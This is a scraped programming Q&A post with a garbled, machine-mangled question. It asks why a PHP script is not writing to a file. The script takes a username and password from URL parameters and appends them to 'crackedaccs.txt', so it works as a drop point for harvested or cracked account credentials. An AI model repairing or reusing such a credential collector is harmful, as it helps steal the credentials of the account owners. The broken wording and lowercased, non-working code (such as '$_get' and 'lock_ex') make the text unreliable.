json - PHP write get variables to .txt file not working, no errors -
i using php capture variables write them text (.txt) file can later open file , variables.
all of code listed below, not write file , no errors giving, reading.
<?php //the link (your domain)/writefile.php?user=$user&password=$pass $theuser = $_get["user"]; $thepassword = $_get["password"]; $full = $theuser . ':' . $thepassword; echo htmlentities($full); //potential xss $file = 'crackedaccs.txt'; $current = file_get_contents($file); $current .= "$full \n"; file_put_contents($file, $current, lock_ex); ?>
Comments
Post a Comment